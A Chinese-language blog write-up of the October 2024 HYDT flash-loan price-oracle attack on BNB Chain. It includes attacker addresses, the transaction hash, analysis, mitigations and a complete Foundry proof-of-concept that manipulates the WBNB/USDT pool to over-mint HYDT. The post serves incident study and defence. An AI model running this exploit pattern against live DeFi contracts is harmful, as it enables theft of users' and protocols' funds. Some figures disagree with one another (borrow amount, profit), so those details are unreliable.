20241010 HYDT 攻击事件分析与复现

  • KISSInori
  • 发布于 2025-03-20 00:03
  • 阅读 94

事件概览2024年10月10日,TenArmor安全警报系统检测到了在BSC上涉及HYDT代币的可疑攻击,攻击者通过操纵WBNB/USDT对的现货价格,让InitialMintV2合约中的initialMint函数,最终获利5.8k美元。

事件概览

2024年10月10日,TenArmor安全警报系统检测到了在BSC上涉及HYDT代币的可疑攻击,攻击者通过操纵WBNB/USDT 对的现货价格,让InitialMintV2合约中的initialMint 函数,最终获利5.8k美元。此次攻击的核心在于操纵价格预言机,通过闪电贷借款,人为向流动性代币池中交换代币,造成代币对的价格发生变动,从而达到操纵预言机价格的目的,最终实现攻击并获利。

背景知识

<!--StartFragment-->

闪电贷(Flash Loan)

闪电贷是 DeFi(去中心化金融)领域中的一种创新金融工具,允许用户在无需提供抵押品的情况下,借入大量资金进行交易。闪电贷的核心特点是:

  • 无需抵押:用户无需提供任何抵押品即可借入资金。
  • 瞬时还款:借款和还款必须在同一笔交易内完成。如果交易结束时未还款,整个交易将被回滚,确保资金安全。

闪电贷的流行协议包括 Aave、dYdX 和 Balancer 等。尽管闪电贷为 DeFi 带来了更多的可能性,但也因其无需抵押的特性,成为攻击者进行恶意操作的工具。

<!--EndFragment-->

事件脉络

msg.sender(DualPools Exploiter):0x4645863205b47a0a3344684489e8c446a437d66c attack contract :0x8f921e27e3af106015d1c3a244ec4f48dbfcad14 attack tx :0xa9df1bd97cf6d4d1d58d3adfbdde719e46a1548db724c2e76b4cd4c3222f22b3 Attack analysis : https://app.blocksec.com/explorer/tx/bsc/0xa9df1bd97cf6d4d1d58d3adfbdde719e46a1548db724c2e76b4cd4c3222f22b3 X: https://x.com/TenArmorAlert/status/1844247004551262678

核心原因

攻击者利用闪电贷进行借款,在借款后通过swap功能改变代币对的数量比,通过操纵预言机(链上代币对的价格),让InitialMintV2合约中的initialMint 函数根据 WBNB/USDT 对的现货价格计算 HYDT 代币数量并铸造了更多HYDT代币,最后通过swap将HYDT转换为USDT获利,最终获利5.8k 美元。

攻击的根本原因在于 initialMint() 中发生了价格操纵。InitialMintV2 合约中的 initialMint() 函数执行了一系列的代币交换操作,以下是详细的攻击步骤:

  1. 核心合约地址InitialMintV2 合约地址 如下图所示:

image.png 图中展示了为何可以操纵价格预言机。

  1. pancakeV3FlashCallback 中,攻击者通过将大量的 USDT 代币转换为 WBNB 代币,导致池子中的 USDT 数量急剧减少,而 WBNB 数量激增。
  2. 由于 WBNB/USDT 交易对中的代币数量发生了极端变化,价格就被操控了,WBNB 的价格相对增加,导致通过该池子得到的价格预言机信息不准确,价格偏高。
  3. 由于价格被操控,HYDT 代币被铸造的数量大大增加,超过了正常情况下的数量。

image.png

攻击分析

前置工作

USDT查询attack contract在PancakeSwap: Router v2中的授权额度。

image.png

HYDT查询attack contract在PancakeSwap: SwapRouter V3中的授权额度,授权PancakeSwap: SwapRouter V3一个long param的额度。

HYDT查询attack contract在PancakeSwap: Router v2的授权额度,并授权PancakeSwap: Router v2一个long param的额度。

image.png

BNB Chain: WBNB Token查询attack contract在PancakeSwap: Router v2的授权额度,并授权PancakeSwap: Router v2一个long param的额度。

image.png

闪电贷过程

0x92b7_PancakeV3Pool调用flash函数进行闪电贷,贷款被攻击合约接收,这个过程实现了价格操纵。 首先,查询该账户两种代币的余额:

image.png

然后,USDT给攻击者进行12000000 ether 转账:

image.png

攻击合约调用pancakeV3FlashCallback,该函数具体操作如下: (1) HYDT 代币铸造:由于价格操控,HYDT 代币的铸造数量远超正常水平。 (2) HYDT 代币交换:攻击者将铸造出来的 HYDT 代币通过交换过程转换为 WBNB 和 USDT 代币。 (3) WBNB 代币交换:攻击者将获得的 WBNB 代币再次兑换成 USDT。 (4) 最终,经过一系列的代币交换后,攻击者的 USDT 数量大幅增加,达到不正常的水平。

image.png

进一步的获利过程

  1. 攻击者查询 BNB Chain: WBNB Token 的余额数量。
  2. 攻击者调用 transfer() 函数,将积累的 WBNB 代币转移给 msg.sender
  3. Fallback 交易:该交易会触发合约中的 fallback 函数,最终攻击者从中获利,获取大量的 USDT。

攻击复现

攻击复现代码

pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./interface.sol";

// 2024-10-10 HYDT(BNB)
// attack :    0x4645863205b47a0a3344684489e8c446a437d66c
// attack tx : 0xa9df1bd97cf6d4d1d58d3adfbdde719e46a1548db724c2e76b4cd4c3222f22b3
// attack contract : 0x8f921e27e3af106015d1c3a244ec4f48dbfcad14
// Attack analysis : https://app.blocksec.com/explorer/tx/bsc/0xa9df1bd97cf6d4d1d58d3adfbdde719e46a1548db724c2e76b4cd4c3222f22b3
// X:  https://x.com/TenArmorAlert/status/1844247004551262678

contract ContractTest is Test {
    IWBNB WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
    Uni_Pair_V3 pool = Uni_Pair_V3(0x92b7807bF19b7DDdf89b706143896d05228f3121);
    Uni_Pair_V2 pair = Uni_Pair_V2(0x5E901164858d75852EF548B3729f44Dd93209c9c);
    Uni_Router_V2 router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
    Uni_Router_V3 routerV3 = Uni_Router_V3(0x1b81D678ffb9C0263b24A97847620C99d213eB14);
    IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
    IERC20 HYDT = IERC20(0x9810512Be701801954449408966c630595D0cD51);
    uint256 borrow_amount;
    address MintV2 = 0xA2268Fcc2FE7A2Bb755FbE5A7B3Ac346ddFeDB9B;

    function setUp() external {
        // fork 到 BSC中的这个区块号进行攻击复现
        cheats.createSelectFork("bsc", 42_985_310);
        // 定义攻击开始之前原本攻击者拥有的USDT,这里可以任意设置数量
        deal(address(USDT), address(this), 0);
    }

    function testExploit() external {
        emit log_named_decimal_uint("[Begin] Attacker USDT before exploit", USDT.balanceOf(address(this)), 18);
        emit log_named_decimal_uint("[Begin] Attacker WBNB before exploit", WBNB.balanceOf(address(this)), 18);
        console.log("-----------------------------------------------------------");
        // 定义借款 11,000,000 个USDT
        borrow_amount = 11_000_000 ether; 
        // 调用flash实现闪电贷完成价格操纵
        pool.flash(address(this), borrow_amount, 0, "");
        console.log("-----------------------------------------------------------");
        emit log_named_decimal_uint("[End] Attacker USDT after exploit", USDT.balanceOf(address(this)), 18);
        emit log_named_decimal_uint("[End] Attacker WBNB after exploit", WBNB.balanceOf(address(this)), 18);
    }

    // 模拟pancakeV3FlashCallback函数,fee0, fee1=0,
    function pancakeV3FlashCallback(uint256 fee0, uint256, /*fee1*/ bytes memory /*data*/ ) public {
        //console.log("pancakeV3FlashCallback");

        console.log("[flash] USDT obtained through flash loan: ", USDT.balanceOf(address(this)) / 1e18);
        console.log("[Swap]");
        swap_token_to_token(address(USDT), address(WBNB), USDT.balanceOf(address(this)));
        console.log("[Swap] USDT after exchange: ", USDT.balanceOf(address(this)) / 1e18);
        console.log("[Swap] WBNB after exchange: ", WBNB.balanceOf(address(this)) / 1e18);

        WBNB.withdraw(11 ether);
        // 向MintV2合约中转入11ETH并调用initialMint()
        console.log("!!!The price of the prophecy is manipulated here!!!");
        (bool success,) = MintV2.call{value: 11 ether}(abi.encodeWithSignature("initialMint()"));
        require(success, "MintV2 call failed");
        emit log_named_decimal_uint("HYDT can mint", HYDT.balanceOf(address(this)), 18);

        console.log("[exactInputSingle] HYDT -> USDT");
        uint256 v3_amount = HYDT.balanceOf(address(this)) / 2;
        HYDT.approve(address(routerV3), v3_amount);
        Uni_Router_V3.ExactInputSingleParams memory _Params = Uni_Router_V3.ExactInputSingleParams({
            tokenIn: address(HYDT),
            tokenOut: address(USDT),
            deadline: type(uint256).max,
            recipient: address(this),
            amountIn: v3_amount,
            amountOutMinimum: 0,
            sqrtPriceLimitX96: 0,
            fee: 500
        });
        routerV3.exactInputSingle(_Params);
        console.log("[exactInputSingle] HYDT after exchange: ", HYDT.balanceOf(address(this)) / 1e18);
        console.log("[exactInputSingle] USDT after exchange: ", USDT.balanceOf(address(this)) / 1e18);

        console.log("[Swap1] HYDT -> WBNB:");
        console.log("start: HYDT: %d ---------   WBNB: %d", HYDT.balanceOf(address(this)) / 1e18, WBNB.balanceOf(address(this)) / 1e18);
        swap_token_to_token(address(HYDT), address(WBNB), HYDT.balanceOf(address(this)) / 2);
        console.log("end: HYDT: %d --------- WBNB: %d", HYDT.balanceOf(address(this)) / 1e18, WBNB.balanceOf(address(this)) / 1e18);

        console.log("[Swap2] HYDT -> USDT:");
        console.log("start: HYDT: %d ---------   USDT: %d", HYDT.balanceOf(address(this)) / 1e18, USDT.balanceOf(address(this)) / 1e18);
        swap_token_to_token(address(HYDT), address(USDT), HYDT.balanceOf(address(this)));
        console.log("end: HYDT: %d --------- USDT: %d", HYDT.balanceOf(address(this)) / 1e18, USDT.balanceOf(address(this)) / 1e18);

        console.log("[Swap3] WBNB -> USDT:");
        console.log("start: WBNB: %d ---------   USDT: %d", WBNB.balanceOf(address(this)) / 1e18, USDT.balanceOf(address(this)) / 1e18);
        swap_token_to_token(address(WBNB), address(USDT), WBNB.balanceOf(address(this)));
        console.log("start: WBNB: %d ---------   USDT: %d", WBNB.balanceOf(address(this)) / 1e18, USDT.balanceOf(address(this)) / 1e18);

        USDT.transfer(address(pool), borrow_amount + fee0);
        emit log_named_decimal_uint("[Fee]", fee0, 18);
        console.log("[more USDT] = USDT - Fee - Borrow = 11006802 - 1100 - 11000000 = 5702");
    }

        function swap_token_to_token(address A, address B, uint256 amount) internal {
        IERC20(A).approve(address(router), amount);
        address[] memory path = new address[](2);
        path[0] = address(A);
        path[1] = address(B);
        // 模拟swapExactTokensForTokens函数
        router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, path, address(this), block.timestamp);
    }

    receive() external payable {}

}

完整的可执行代码:https://github.com/KISSInori/DeFiAttack_Foundry

foundry测试结果

image.png

总结

该攻击的根本问题在于合约中 initialMint() 函数的设计漏洞,攻击者通过操控价格预言机,利用代币交换机制实现了非法获利。 针对于操纵价格预言机的攻击,可以考虑: <!--StartFragment-->

  • 多重预言机数据源:使用多个独立的预言机,以减少单个源的操控风险。

  • 延迟数据:增加数据更新的延迟,减少攻击者利用短时间内的价格波动进行操控的机会。

  • 价格聚合算法:通过加权平均等方法来计算价格,以减少恶意操控的影响。

  • 限制借贷杠杆:降低高杠杆交易的风险,限制通过大规模交易进行操控的可能性。

<!--EndFragment-->

  • 原创
  • 学分: 0
  • 分类: 安全
  • 标签:
点赞 0
收藏 0
分享

0 条评论

请先 登录 后评论
KISSInori
KISSInori
江湖只有他的大名,没有他的介绍。